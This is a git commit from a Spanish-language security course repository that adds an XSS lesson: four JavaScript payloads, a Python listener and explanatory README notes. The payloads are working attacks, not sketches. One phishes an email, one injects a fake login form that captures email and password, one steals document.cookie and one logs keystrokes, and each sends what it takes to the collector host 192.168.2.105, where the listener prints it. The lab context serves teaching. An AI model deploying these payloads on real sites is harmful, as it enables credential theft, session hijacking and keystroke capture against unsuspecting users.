Add Tema 6 - CrossSite Scripting XSS

This commit is contained in:
Manuel Vergara 2024-02-13 01:11:01 +01:00
parent db98611323
commit 440b8c8a84
6 changed files with 114 additions and 0 deletions

View File

@ -0,0 +1,10 @@
<script>
var email = prompt("Ingresa tu correo electrónico para visualizar el post", "example@example.com");
if (email == null || email == ""){
alert("Es necesario ingresar un correo electrónico válido");
} else {
fetch('http://192.168.2.105/?email=' + email);
}
</script>

View File

@ -0,0 +1,19 @@
<div id="formContainer"></div>
<script>
var email;
var password;
var form = '<form>' +
'Email: <input type="email" id="email" required>' +
' Contraseña: <input type="password" id="password" required>' +
'<input type="button" onclick="submitForm()" value="Submit">' +
'</form>';
document.getElementById("formContainer").innerHTML = form;
function submitForm(){
email = document.getElementById("email").value;
password = document.getElementById("password").value;
fetch("http://192.168.2.105/?email=" + email + "&password=" + password);
}
</script>

View File

@ -0,0 +1,5 @@
<script>
var request = new XMLHttpRequest();
request.open('GET', 'http://192.168.2.105/?cookie=' + document.cookie);
request.send();
</script>

View File

@ -0,0 +1,10 @@
<script>
var k = "";
document.onkeypress = function(e){
e = e || window.event;
k += e.key;
var i = new Image();
i.src = "http://192.168.2.105/" + encodeURIComponent(k);
};
</script>

View File

@ -0,0 +1,30 @@
#!/usr/bin/env python3
import signal
import sys
from urllib.parse import unquote
from http.server import BaseHTTPRequestHandler, HTTPServer
def signal_handler(sig, frame):
print('Servidor detenido...')
sys.exit(0)
signal.signal(signal.SIGINT, signal_handler)
class RequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
decoded_path = unquote(self.path[1:])
print(decoded_path)
self.send_response(200)
self.end_headers()
if __name__ == '__main__':
server_address = ('', 80)
httpd = HTTPServer(server_address, RequestHandler)
print('Servidor iniciado en el puerto 80...')
httpd.serve_forever()

View File

@ -92,8 +92,48 @@ Preparamos el fichero php searchUsers.php para hacer unas pruebas con Python par
- Comprobamos uno a uno el hexadecimal: [sqli.py](./01_sqli/sqli.py)
- Comprobamos si el contenido es igual que tarde más tiempo: [sqli_time.py](./01_sqli/sqli_time.py)
## 6.2 CrossSite Scripting (XSS)
Una vulnerabilidad XSS (Cross-Site Scripting) es un tipo de vulnerabilidad de seguridad informática que permite a un atacante ejecutar código malicioso en la página web de un usuario sin su conocimiento o consentimiento. Esta vulnerabilidad permite al atacante robar información personal, como nombres de usuario, contraseñas y otros datos confidenciales.
En esencia, un ataque XSS implica la inserción de código malicioso en una página web vulnerable, que luego se ejecuta en el navegador del usuario que accede a dicha página. El código malicioso puede ser cualquier cosa, desde scripts que redirigen al usuario a otra página, hasta secuencias de comandos que registran pulsaciones de teclas o datos de formularios y los envían a un servidor remoto.
Existen varios tipos de vulnerabilidades XSS, incluyendo las siguientes:
- Reflejado (Reflected): Este tipo de XSS se produce cuando los datos proporcionados por el usuario se reflejan en la respuesta HTTP sin ser verificados adecuadamente. Esto permite a un atacante inyectar código malicioso en la respuesta, que luego se ejecuta en el navegador del usuario.
- Almacenado (Stored): Este tipo de XSS se produce cuando un atacante es capaz de almacenar código malicioso en una base de datos o en el servidor web que aloja una página web vulnerable. Este código se ejecuta cada vez que se carga la página.
- DOM-Based: Este tipo de XSS se produce cuando el código malicioso se ejecuta en el navegador del usuario a través del DOM (Modelo de Objetos del Documento). Esto se produce cuando el código JavaScript en una página web modifica el DOM en una forma que es vulnerable a la inyección de código malicioso.
Los ataques XSS pueden tener graves consecuencias para las empresas y los usuarios individuales. Por esta razón, es esencial que los desarrolladores web implementen medidas de seguridad adecuadas para prevenir vulnerabilidades XSS. Estas medidas pueden incluir la validación de datos de entrada, la eliminación de código HTML peligroso, y la limitación de los permisos de JavaScript en el navegador del usuario.
A continuación, se proporciona el proyecto de Github correspondiente al laboratorio que nos estaremos montando para poner en práctica la vulnerabilidad XSS:
- secDevLabs: https://github.com/globocom/secDevLabs
- Ejemplo de ataque XSS: [email.js](./02_crosssite_scripting_XSS/email.js)
- Ejemplo de phising: [email_pass.js](./02_crosssite_scripting_XSS/email_pass.js)
Todo se debe tener un puerto web en escucha:
```bash
python3 -m HTTP.server 80
```
- Ejemplo de keylogger: [keylogger.js](./02_crosssite_scripting_XSS/keylogger.js)
En este caso levantaremos un servidor con el script [server_keylogger.py](./02_crosssite_scripting_XSS/server_keylogger.py) para tener más limpia la salida.
- Podemos redirigir a una página web:
```
<script>
window.location.href = "https://vergaracarmona.es";
</script>
```
- Podemos realizar un hijacking cookie con el script [hijacking_cookie.js](./02_crosssite_scripting_XSS/hijacking_cookie.js)
```
<script src="https://192.168.2.105/test.js"></script>
```
## 6.3 XML External Entity Injection (XXE)